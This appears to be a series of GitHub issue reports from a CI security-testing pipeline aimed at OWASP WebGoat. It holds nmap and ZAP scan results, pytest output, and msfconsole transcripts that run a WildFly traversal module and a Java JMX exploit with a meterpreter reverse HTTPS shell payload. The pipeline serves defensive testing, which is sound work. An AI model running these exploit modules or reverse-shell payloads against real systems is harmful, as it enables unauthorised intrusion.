resource (./src/exploit*wildfly*dir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

---- --------------- -------- -----------

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVE*FILE*PATH standalone

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*wildfly*dir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit*wildfly*dir_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploit*wildfly*dir_traversal.rc)> exit

---

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[*] Processing ./src/exploit*java*jmx*reverse*https.rc for ERB directives.

resource (./src/exploit*java*jmx*reverse*https.rc)> use exploit/multi/misc/java*jmx*server

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

resource (./src/exploit*java*jmx*reverse*https.rc)> show options

Module options (exploit/multi/misc/java*jmx*server):

Name Current Setting Required Description

---- --------------- -------- -----------

JMXRMI jmxrmi yes The name where the JMX RMI interface is bound

JMX_PASSWORD no The password to interact with an authenticated JMX endpoint

JMX_ROLE no The role to interact with an authenticated JMX endpoint

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT yes The target port (TCP)

SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 yes The local port to listen on.

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH no The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST 172.17.0.2 yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

---

0 Generic (Java Payload)

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*java*jmx*reverse*https.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit*java*jmx*reverse*https.rc)> use payload/java/meterpreter/reverse_https

resource (./src/exploit*java*jmx*reverse*https.rc)> exploit

[*] Payload Handler Started as Job

resource (./src/exploit*java*jmx*reverse*https.rc)> exit

==========

# Priority-Medium Nmap-ParrotOS Scan output

GitHub Issue number # 710

GitHub Issue URL : Here!

**parrotOS**
**nmap**
**"priority Medium"**

Nmap vulnerability scanning
for 20.204.140.188

Making sure that parrot OS docker image has all the latest updates...

Ign:1 https://deb.parrot.sh/parrot parrot InRelease

Ign:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Ign:1 https://deb.parrot.sh/parrot parrot InRelease

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Ign:1 https://deb.parrot.sh/parrot parrot InRelease

Ign:4 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages

Ign:5 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages

Get:6 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:5 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Ign:9 https://deb.parrot.sh/parrot parrot/main amd64 Packages

Ign:10 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages

Get:11 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Ign:9 https://deb.parrot.sh/parrot parrot/main amd64 Packages

Ign:10 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages

Get:9 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Ign:10 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages

Ign:10 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages

Get:10 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Fetched 19.6 MB in 4min 3s (80.8 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev

libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3

libx11-6 libx11-data libxpm4 locales openssh-client openssh-server

openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13

postgresql-client-common postgresql-common python3-certifi

python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev

libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions
49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.8 MB of archives.
After this operation, 38.9 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Hit:1 https://deb.parrot.sh/parrot parrot InRelease
Ign:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease
Ign:3 https://deb.parrot.sh/parrot parrot-backports InRelease
Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease
Ign:3 https://deb.parrot.sh/parrot parrot-backports InRelease
Ign:3 https://deb.parrot.sh/parrot parrot-backports InRelease
Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease
Reading package lists...
Building dependency tree...
Reading state information...
49 packages can be upgraded. Run 'apt list --upgradable' to see them.
Running basic nmap scan...
Starting Nmap 7.92 ( https://nmap.org ) at 2023-11-13 07:25 UTC
Nmap scan report for 20.204.140.188
Host is up (0.22s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 59:ce:e7:2c:35:9b:52:7f:ab:7a:bf:ca:94:99:66:8b (ECDSA)
|_ 256 37:79:7e:9e:8d:7c:88:81:7d:23:82:cc:61:5f:78:bf (ED25519)
80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Mon, 13 Nov 2023 07:29:13 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Mon, 13 Nov 2023 07:29:11 GMT

| HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|_ Date: Mon, 13 Nov 2023 07:29:12 GMT

|_http-title: Site doesn't have a title.

9090/tcp open zeus-admin?

| fingerprint-strings:

| GenericLines, RTSPRequest, SqueezeCenter_CLI, WMSRequest, ibm-db2-das:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Expires: 0

| Cache-Control: no-cache, no-store, max-age=0, must-revalidate

| X-XSS-Protection: 1; mode=block

| Pragma: no-cache

| X-Frame-Options: DENY

| Date: Mon, 13 Nov 2023 07:29:11 GMT

| Connection: close

| Vary: Origin

| Vary: Access-Control-Request-Method

| Vary: Access-Control-Request-Headers

| X-Content-Type-Options: nosniff

| Content-Type: application/json

| "timestamp" : "2023-11-13T07:29:11.749+00:00",

| "status" : 404,

| "error" : "Not Found",

| "path" : "/"

| HTTPOptions:

| HTTP/1.1 404 Not Found

| Expires: 0

| Cache-Control: no-cache, no-store, max-age=0, must-revalidate

| X-XSS-Protection: 1; mode=block

| Pragma: no-cache

| X-Frame-Options: DENY

| Date: Mon, 13 Nov 2023 07:29:29 GMT

| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH

| Connection: close

| Vary: Origin

| Vary: Access-Control-Request-Method

| Vary: Access-Control-Request-Headers

| X-Content-Type-Options: nosniff

| Content-Type: application/json

| "timestamp" : "2023-11-13T07:29:29.729+00:00",

| "status" : 404,

| "error" : "Not Found",

|_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port8080-TCP:V=7.92%I=7%D=11/13%Time=6551D047%P=x86_64-pc-linux-gnu%r(G

SF:etRequest,65,"HTTP/1.1 404 Not Found Connection: close\n

SF:r Content-Length: 0 Date: Mon, 13 Nov 2023 07:29:

SF:11 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found\n

SF:r Connection: close Content-Length: 0 Date: Mon, 13\n

SF:x20Nov 2023 07:29:12 GMT

")%r(RTSPRequest,42,"HTTP/1.1

SF: 400 Bad Request Content-Length: 0 Connection: clo

SF:se

")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Mon, 13\x

SF:20Nov 2023 07:29:13 GMT

")%r(Socks5,42,"HTTP/1.1 40

SF:0 Bad Request Content-Length: 0 Connection: close

SF: ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content

SF:-Length: 0 Connection: close

")%r(Help,42,"HTTP/1.1

SF:0400 Bad Request Content-Length: 0 Connection: close\n

SF:r

")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Con

SF:tent-Length: 0 Connection: close

")%r(TerminalServerCoo

SF:kie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C

SF:onnection: close

")%r(TLSSessionReq,42,"HTTP/1.1 400 B

SF:ad Request Content-Length: 0 Connection: close

")

SF:%r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:\x

SF:200 Connection: close

")%r(SMBProgNeg,42,"HTTP/1.1 400

SF: Bad Request Content-Length: 0 Connection: close \n

SF:r ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Len

SF:gth: 0 Connection: close

")%r(LDAPSearchReq,42,"HTTP/1\n

SF:.1 400 Bad Request Content-Length: 0 Connection: c

SF:lose

")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request C

SF:ontent-Length: 0 Connection: close

")%r(WMSRequest,42,"

SF:HTTP/1.1 400 Bad Request Content-Length: 0 Connectio

SF:n: close

")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reque

SF:st Content-Length: 0 Connection: close

");

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port9090-TCP:V=7.92%I=7%D=11/13%Time=6551D047%P=x86_64-pc-linux-gnu%r(G

SF:etRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cac

SF:he-Control: no-cache, no-store, max-age=0, must-revalidate\n

SF:r X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fr

SF:ame-Options: DENY Date: Mon, 13 Nov 2023 07:29:11\n

SF:x20GMT Connection: close Vary: Origin Vary: Access-Co

SF:ntrol-Request-Method Vary: Access-Control-Request-Headers X-Co

SF:ntent-Type-Options: nosniff Content-Type: application/json

SF: { \"timestamp\" : \"2023-11-13T07:29:11.749+00:00\n

SF:", \"status\" : 404, \"error\" : \"Not

SF:0Found\", \"path\" : \"/\" }")%r(WMSRequest,42,"HTTP/1\n

SF:.1 400 Bad Request Content-Length: 0 Connection: c

SF:lose

")%r(ibm-db2-das,42,"HTTP/1.1 400 Bad Request

SF:Content-Length: 0 Connection: close

")%r(SqueezeCenter_

SF:CLI,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C

SF:onnection: close

")%r(GenericLines,42,"HTTP/1.1 400 Ba

SF:d Request Content-Length: 0 Connection: close

")%

SF:r(HTTPOptions,22B,"HTTP/1.1 404 Not Found Expires: 0 \n

SF:nCache-Control: no-cache, no-store, max-age=0, must-revalid

SF:ate X-XSS-Protection: 1; mode=block Pragma: no-cache

SF:X-Frame-Options: DENY Date: Mon, 13 Nov 2023 07:29

SF::29 GMT Allow: GET, HEAD, POST, PUT, DELETE, TR

SF:ACE, OPTIONS, PATCH Connection: close Vary: Origin \n

SF:nVary: Access-Control-Request-Method Vary: Access-Control-Requ

SF:est-Headers X-Content-Type-Options: nosniff Content-Type: a

SF:pplication/json

{ \"timestamp\" : \"2023-11-13T07

SF::29:29.729+00:00\", \"status\" : 404, \"error

SF:\" : \"Not Found\", \"path\" : \"/\" }")%r(RTS

SF:PRequest,42,"HTTP/1.1 400 Bad Request Content-Length: 0

SF: Connection: close

");

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 4.X|2.6.X|3.X (86%), Synology DiskStation Manager 5.X (86%), WatchGuard Fireware 11.X (86%), FreeBSD 6.X (85%)

OS CPE: cpe:/o:linux:linux*kernel:4.0 cpe:/o:linux:linux*kernel:2.6.32 cpe:/o:linux:linux*kernel:3.4 cpe:/o:linux:linux*kernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/o:freebsd:freebsd:6.2

Aggressive OS guesses: Linux 4.0 (86%), Linux 2.6.32 (86%), Linux 3.4 (86%), Linux 3.5 (86%), Linux 4.2 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), WatchGuard Fireware 11.8 (86%), Linux 2.6.39 (85%), Linux 3.10 - 3.16 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 5401.90 ms 20.204.140.188

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 365.89 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 ( https://nmap.org ) at 2023-11-13 07:31 UTC

Nmap scan report for 20.204.140.188

Host is up (0.22s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.80 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 ( https://nmap.org ) at 2023-11-13 07:31 UTC

Nmap scan report for 20.204.140.188

Host is up (0.22s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.30 seconds

# Priotity-High Pytest-Playwright Test Output Issue

GitHub Issue number # 709

GitHub Issue URL : Here!

**Playwright**
**pytest**
**"priority High"**

Starting pytests....

============================= test session starts ==============================

platform linux -- Python 3.10.12, pytest-7.4.3, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: base-url-2.0.0, playwright-0.4.3, tornasync-0.6.0.post2, anyio-4.0.0, asyncio-0.21.1, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py ... [ 60%]

src/test_WebGoatUseCases.py .. [100%]

=================================== PASSES ===================================

============================== 5 passed in 26.93s ==============================

Stop pytests....

# Priority-High - OWASP WebGoat Landing Page ZAP Scan

GitHub Issue number # 708

GitHub Issue URL : Here!

- Site: http://20.204.140.188:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://20.204.140.188:8080/WebGoat/login
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://20.204.140.188:8080/WebGoat/login
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - http://20.204.140.188:8080/WebGoat/login
  - **Cookie No HttpOnly Flag** [10010] total: 1:
    - http://20.204.140.188:8080/WebGoat/start.mvc
  - **Cookie Slack Detector** [90027] total: 2:
    - http://20.204.140.188:8080/WebGoat/login
    - http://20.204.140.188:8080/WebGoat/start.mvc
  - **Cookie without SameSite Attribute** [10054] total: 1:
    - http://20.204.140.188:8080/WebGoat/start.mvc
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - http://20.204.140.188:8080/WebGoat/login
  - **Base64 Disclosure** [10094] total: 1:
    - http://20.204.140.188:8080/WebGoat/start.mvc
  - **Non-Storable Content** [10049] total: 1:
    - http://20.204.140.188:8080/WebGoat/start.mvc
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
    - http://20.204.140.188:8080/
    - http://20.204.140.188:8080/sitemap.xml
    - http://20.204.140.188:8080/WebGoat/login
    - http://20.204.140.188:8080/WebGoat/start.mvc
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
    - http://20.204.140.188:8080/
    - http://20.204.140.188:8080/sitemap.xml
    - http://20.204.140.188:8080/WebGoat/login
    - http://20.204.140.188:8080/WebGoat/start.mvc
  - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
    - http://20.204.140.188:8080/
    - http://20.204.140.188:8080/sitemap.xml
    - http://20.204.140.188:8080/WebGoat/login
    - http://20.204.140.188:8080/WebGoat/start.mvc
  - **Sec-Fetch-User Header is Missing** [90005] total: 4:
    - http://20.204.140.188:8080/
    - http://20.204.140.188:8080/sitemap.xml
    - http://20.204.140.188:8080/WebGoat/login
    - http://20.204.140.188:8080/WebGoat/start.mvc
  - **Session Management Response Identified** [10112] total: 2:
    - http://20.204.140.188:8080/WebGoat/start.mvc
    - http://20.204.140.188:8080/WebGoat/start.mvc
  - **Storable and Cacheable Content** [10049] total: 4:
    - http://20.204.140.188:8080/
    - http://20.204.140.188:8080/robots.txt
    - http://20.204.140.188:8080/sitemap.xml
    - http://20.204.140.188:8080/WebGoat/login

        - **User Agent Fuzzer** [10104] total: 24:
            - http://20.204.140.188:8080/WebGoat
            - http://20.204.140.188:8080/WebGoat
            - http://20.204.140.188:8080/WebGoat
            - http://20.204.140.188:8080/WebGoat
            - http://20.204.140.188:8080/WebGoat
            - ..

View the following link to download the report. RunnerID:6846777324

- Site: http://4.224.49.85:8080 **New Alerts**
    - **Absence of Anti-CSRF Tokens** [10202] total: 1:
        - http://4.224.49.85:8080/WebGoat/login
    - **Anti-CSRF Tokens Check** [20012] total: 1:
        - http://4.224.49.85:8080/WebGoat/login
    - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
        - http://4.224.49.85:8080/WebGoat/login
    - **Permissions Policy Header Not Set** [10063] total: 1:
        - http://4.224.49.85:8080/WebGoat/login
    - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
        - http://4.224.49.85:8080/
        - http://4.224.49.85:8080/robots.txt
        - http://4.224.49.85:8080/sitemap.xml
        - http://4.224.49.85:8080/WebGoat/login
    - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
        - http://4.224.49.85:8080/
        - http://4.224.49.85:8080/robots.txt
        - http://4.224.49.85:8080/sitemap.xml
        - http://4.224.49.85:8080/WebGoat/login
    - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
        - http://4.224.49.85:8080/
        - http://4.224.49.85:8080/robots.txt
        - http://4.224.49.85:8080/sitemap.xml
        - http://4.224.49.85:8080/WebGoat/login
    - **Sec-Fetch-User Header is Missing** [90005] total: 4:
        - http://4.224.49.85:8080/
        - http://4.224.49.85:8080/robots.txt
        - http://4.224.49.85:8080/sitemap.xml
        - http://4.224.49.85:8080/WebGoat/login
    - **Storable and Cacheable Content** [10049] total: 4:
        - http://4.224.49.85:8080/
        - http://4.224.49.85:8080/robots.txt
        - http://4.224.49.85:8080/sitemap.xml
        - http://4.224.49.85:8080/WebGoat/login
    - **User Agent Fuzzer** [10104] total: 12:
        - http://4.224.49.85:8080/WebGoat
        - http://4.224.49.85:8080/WebGoat
        - http://4.224.49.85:8080/WebGoat
        - http://4.224.49.85:8080/WebGoat
        - http://4.224.49.85:8080/WebGoat
        - ..

View the following link to download the report. RunnerID:6887480431

# Priority High - Sonar Cloud Code Scan Report

GitHub Issue number # 707

GitHub Issue URL : Here!

**SonarCloud**
**"priority High"**

# SonarCloud Scan for OWASP WebGoat

Go to https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST for full report of SonarCloud with Github SSO.

# Priority High - Snyk Report

GitHub Issue number # 706

GitHub Issue URL : Here!

**Snyk_scan**
**"priotity High"**

# Snyk Scan for OWASP WebGoat

Go to https://app.snyk.io/org/pradyumna-muppirala for full report of Snyk with Github SSO.

# Priotity-High Metasploit-ParrotOS Test output

GitHub Issue number # 705

GitHub Issue URL : Here!

**parrotOS**
**metasploit**
**"priority High"**

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Ign:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Ign:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Fetched 19.6 MB in 52s (376 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:
bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions
49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.8 MB of archives.
After this operation, 38.9 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Reading package lists...
Building dependency tree...
Reading state information...
Calculating upgrade...
The following packages will be upgraded:
bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions
49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.8 MB of archives.
After this operation, 38.9 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.

Hit:1 https://deb.parrot.sh/parrot parrot InRelease

Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

==========

Metasploit Framework Exploit Demo :

==========

Target Web Goat Instance IP Address : 4.188.240.134

Possible Metasploit exploits or auxilaries or payloads, that can used for attacking

==========

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[*] Processing ./src/exploit*wildfly*dir_traversal.rc for ERB directives.

resource (./src/exploit*wildfly*dir*traversal.rc)> use auxiliary/scanner/http/wildfly*traversal

resource (./src/exploit*wildfly*dir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

---- --------------- -------- -----------

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVE*FILE*PATH standalone

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*wildfly*dir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit*wildfly*dir_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploit*wildfly*dir_traversal.rc)> exit

---

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[*] Processing ./src/exploit*java*jmx*reverse*https.rc for ERB directives.

resource (./src/exploit*java*jmx*reverse*https.rc)> use exploit/multi/misc/java*jmx*server

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

resource (./src/exploit*java*jmx*reverse*https.rc)> show options

Module options (exploit/multi/misc/java*jmx*server):

Name Current Setting Required Description

---- --------------- -------- -----------

JMXRMI jmxrmi yes The name where the JMX RMI interface is bound

JMX_PASSWORD no The password to interact with an authenticated JMX endpoint

JMX_ROLE no The role to interact with an authenticated JMX endpoint

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT yes The target port (TCP)

SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 yes The local port to listen on.

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH no The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST 172.17.0.2 yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

0 Generic (Java Payload)

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*java*jmx*reverse*https.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit*java*jmx*reverse*https.rc)> use payload/java/meterpreter/
reverse_https

resource (./src/exploit*java*jmx*reverse*https.rc)> exploit

[*] Payload Handler Started as Job

resource (./src/exploit*java*jmx*reverse*https.rc)> exit

==========

# Priotity-High Pytest-Playwright Test Output Issue

GitHub Issue number # 704

GitHub Issue URL : Here!

**Playwright**
**pytest**
**"priority High"**

Starting pytests....

============================= test session starts ==============================

platform linux -- Python 3.10.12, pytest-7.4.3, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: base-url-2.0.0, playwright-0.4.3, tornasync-0.6.0.post2, anyio-4.0.0, asyncio-0.21.1, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py ... [ 60%]

src/test_WebGoatUseCases.py .. [100%]

=================================== PASSES ===================================

============================== 5 passed in 29.22s ==============================

Stop pytests....

# Priority-High - OWASP WebGoat Landing Page ZAP Scan

GitHub Issue number # 703

GitHub Issue URL : Here!

- Site: http://4.188.240.134:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://4.188.240.134:8080/WebGoat/login
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://4.188.240.134:8080/WebGoat/login
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - http://4.188.240.134:8080/WebGoat/login
  - **Cookie No HttpOnly Flag** [10010] total: 1:
    - http://4.188.240.134:8080/WebGoat/start.mvc
  - **Cookie Slack Detector** [90027] total: 2:
    - http://4.188.240.134:8080/WebGoat/login
    - http://4.188.240.134:8080/WebGoat/start.mvc
  - **Cookie without SameSite Attribute** [10054] total: 1:
